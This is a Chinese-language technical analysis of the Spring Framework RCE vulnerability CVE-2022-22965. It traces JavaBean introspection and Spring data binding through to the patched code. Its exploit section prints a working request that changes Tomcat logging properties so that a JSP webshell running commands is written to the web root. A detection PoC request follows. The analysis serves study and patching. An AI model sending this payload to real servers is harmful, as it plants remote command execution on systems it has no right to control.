本文分享自华为云社区《CVE-2022-22965 漏洞分析》，作者：Xuuuu。

CVE-2022-22965

A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.

VulEnv/springboot/cve-2022-22965 at master · XuCcc/VulEnv

JavaBean

一个典型的 Bean 对象如下

class UserInfo {  
    private int age;  

    public int getAge() {  
        return age;  
    }  

    public void setAge(int age) {  
        this.age = age;  
    }  
}
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通过 private 定义属性通过 public getXyz/setXyz 来读写的 class 被称为 JavaBean [^1]

Introspector

java.beans.Introspector [^2] 提供一套标准的方法来访问 javaBean 中的属性、方法、事件，会搜索 Bean 本身并一路往上搜索父类来获取信息。如通过 java.beans.PropertyDescriptor 来获取属性相关的信息（name/getter/setter/...）

public static void main(String args[]) throws IntrospectionException {  
    BeanInfo info = Introspector.getBeanInfo(UserInfo.class);  
    PropertyDescriptor[] propertyDescriptors = info.getPropertyDescriptors();  
    for (PropertyDescriptor propertyDescriptor : propertyDescriptors) {  
        System.out.println(propertyDescriptor);  
        System.out.println("=================================================");  
    }  
}

// java.beans.PropertyDescriptor[name=age; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@6e1567f1; required=false}; propertyType=int; readMethod=public int person.xu.vulEnv.UserInfo.getAge(); writeMethod=public void person.xu.vulEnv.UserInfo.setAge(int)]
// =================================================
// java.beans.PropertyDescriptor[name=class; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.Class; readMethod=public final native java.lang.Class java.lang.Object.getClass()]
// =================================================
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也可以通过内省操作来进行赋值操作

UserInfo user = new UserInfo();  
System.out.println("age: " + user.getAge());  
PropertyDescriptor pd = Arrays.stream(info.getPropertyDescriptors()).filter(p -> p.getName().equals("age")).findFirst().get();  
pd.getWriteMethod().invoke(user, 18);  
System.out.println("age: " + user.getAge());

// age: 0
// age: 18
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Spring BeanWrapperImpl

提供了一套简单的api来进行 JavaBean 的操作，以及一些高级特性（嵌套属性、批量读写等）

public class User {  
    private String name;  
    private UserInfo info;  

    public String getName() {  
        return name;  
    }  

    public void setName(String name) {  
        this.name = name;  
    }  

    public UserInfo getInfo() {  
        return info;  
    }  

    public void setInfo(UserInfo info) {  
        this.info = info;  
    }  

    public static void main(String args[]) {  
        User user = new User();  
        BeanWrapper bw = PropertyAccessorFactory.forBeanPropertyAccess(user);  
        bw.setAutoGrowNestedPaths(true);  
        bw.setPropertyValue("name", "wang");  
        bw.setPropertyValue("info.age", 18);  
        System.out.printf("%s is %d%n", user.getName(), user.getInfo().getAge());  
    }  
}

// wang is 18
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在 setPropertyValue(“name”, “wang”) 处分析调用逻辑，大致了解下流程

org.springframework.beans.AbstractNestablePropertyAccessor[^3]

调用getPropertyAccessorForPropertyPath方法通过 getter 来获取嵌套属性
1. getPropertyAccessorForPropertyPath 存在嵌套 A.B.C 属性时，循环调用 getter 取值
调用setPropertyValue方法通过 setter 来设置属性
1. processKeyedProperty 设置 Array/List… 对象
2. processLocalProperty 设置简单 Bean 对象
  1. getLocalPropertyHandler 获取属性描述符
    1. getCachedIntrospectionResults 从缓存中获取 PropertyDescriptor
      1. CachedIntrospectionResults#forClass 为当前Bean创建缓存
  2. setValue 通过反射调用 setter 进行赋值

Spring data bind

以如下的 controller 为例，跟踪 spring 参数绑定的过程

@GetMapping("/")  
public String info(User user) {  
    return String.format("%s is %d", user.getName(), user.getInfo().getAge());  
}
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传入的 http 请求经过 org.springframework.web.servlet.DispatcherServlet#doDispatch处理，寻找对应的 Handler 进行处理
org.springframework.web.method.support.InvocableHandlerMethod#invokeForRequest 调用 Handler 前进行参数绑定
使用响应的 org.springframework.web.method.support.HandlerMethodArgumentResolver#resolveArgument 来进行参数解析，从 request 中获取参数。这里为 org.springframework.web.method.annotation.ModelAttributeMethodProcessor#resolveArgument
接下来进入到 org.springframework.validation.DataBinder#doBind，根据 JavaBean 对象来进行赋值。这里会获取一个BeanWrapperImpl通过setPropertyValues来进行赋值
org.springframework.beans.AbstractPropertyAccessor#setPropertyValues
org.springframework.beans.AbstractNestablePropertyAccessor#setPropertyValue

官方在 5.3.18 修复了这个问题，查看 Comparing v5.3.17…v5.3.18 · spring-projects/spring-framework 在 org.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResults 处进行了相关修改,加强了一个 PropertyDescriptor 相关的过滤。查看相关调用

org.springframework.beans.CachedIntrospectionResults#forClass
org.springframework.beans.BeanWrapperImpl#getCachedIntrospectionResults

结合上文的内容不难推断，Spring在进行参数绑定时调用的 BeanWrapperImpl在进行JavaBean操作时触发了此漏洞。

<init>:272, CachedIntrospectionResults (org.springframework.beans)
forClass:181, CachedIntrospectionResults (org.springframework.beans)
getCachedIntrospectionResults:174, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:230, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:63, BeanWrapperImpl (org.springframework.beans)
processLocalProperty:418, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:278, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:266, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValues:104, AbstractPropertyAccessor (org.springframework.beans)
applyPropertyValues:856, DataBinder (org.springframework.validation)
doBind:751, DataBinder (org.springframework.validation)
doBind:198, WebDataBinder (org.springframework.web.bind)
bind:118, ServletRequestDataBinder (org.springframework.web.bind)
bindRequestParameters:158, ServletModelAttributeMethodProcessor (org.springframework.web.servlet.mvc.method.annotation)
resolveArgument:171, ModelAttributeMethodProcessor (org.springframework.web.method.annotation)
resolveArgument:122, HandlerMethodArgumentResolverComposite (org.springframework.web.method.support)
getMethodArgumentValues:179, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:146, InvocableHandlerMethod (org.springframework.web.method.support)
...
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Exp 编写

由于 JDK9 新提供了 java.lang.Module[^4] 使得在 CachedIntrospectionResults#CachedIntrospectionResults 能够通过 class.module.classLoader 来获取 classLoader,所以这个洞也是 CVE-2010-1622[^5] 的绕过。

目前流传的EXP都是利用 Tomcat 的 ParallelWebappClassLoader 来修改 Tomcat 中日志相关的属性[^6]，来向日志文件写入 webshell 达到命令执行的目的。
例如向 webapps/shell.jsp 写入 http header 中的 cmd

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{cmd}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
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GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2fROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 7.223.181.36:38888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cmd: <%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>
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就可以利用 shell.jsp?a=cmd 来执行命令了

一些其他利用细节可以参考：关于Spring framework rce（CVE-2022-22965）的一些问题思考

Spring 在获取属性描述符时加强了判断，只留下了 name 属性。

if (Class.class == beanClass && (!"name".equals(pd.getName()) && !pd.getName().endsWith("Name"))) {
    // Only allow all name variants of Class properties
    continue;
}
if (pd.getPropertyType() != null && (ClassLoader.class.isAssignableFrom(pd.getPropertyType())
        || ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))) {
    // Ignore ClassLoader and ProtectionDomain types - nobody needs to bind to those
    continue;
}
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Poc 编写

通过错误地设置 classloader 下的属性来触发 BindException异常让服务端返回异常即可判断是否存在漏洞，例如发送

GET /?class.module.classLoader.defaultAssertionStatus=123 HTTP/1.1
Host: 127.0.0.1:39999
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
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服务端返回

HTTP/1.1 400 
Content-Type: text/html;charset=UTF-8
Content-Language: zh-CN
Content-Length: 277
Date: Fri, 08 Apr 2022 03:49:42 GMT
Connection: close

<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Fri Apr 08 11:49:42 CST 2022</div><div>There was an unexpected error (type=Bad Request, status=400).</div></body></html>
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Reference

Spring Framework RCE, Early Announcement
SpringShell RCE vulnerability: Guidance for protecting against and detecting CVE-2022-22965 - Microsoft Security Blog
SpringMVC参数绑定原理 | 技术驱动生活
Spring Framework RCE漏洞分析 | Gta1ta’s Blog
CVE-2022-22965 (SpringShell): RCE Vulnerability Analysis and Mitigations

Footnote

[^1]: JavaBeans - Wikipedia
[^2]: Introspector (Java Platform SE 8 )
[^3]: Spring 属性注入（三）AbstractNestablePropertyAccessor - binarylei - 博客园
[^4]: Module (Java SE 9 & JDK 9 )
[^5]: SpringMVC框架任意代码执行漏洞(CVE-2010-1622)分析 - Ruilin
[^6]: Apache Tomcat 8 Configuration Reference (8.0.53) - The Valve Component

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CVE-2022-22965 漏洞分析

CVE-2022-22965

JavaBean

Introspector

Spring BeanWrapperImpl

Spring data bind

Exp 编写

Poc 编写

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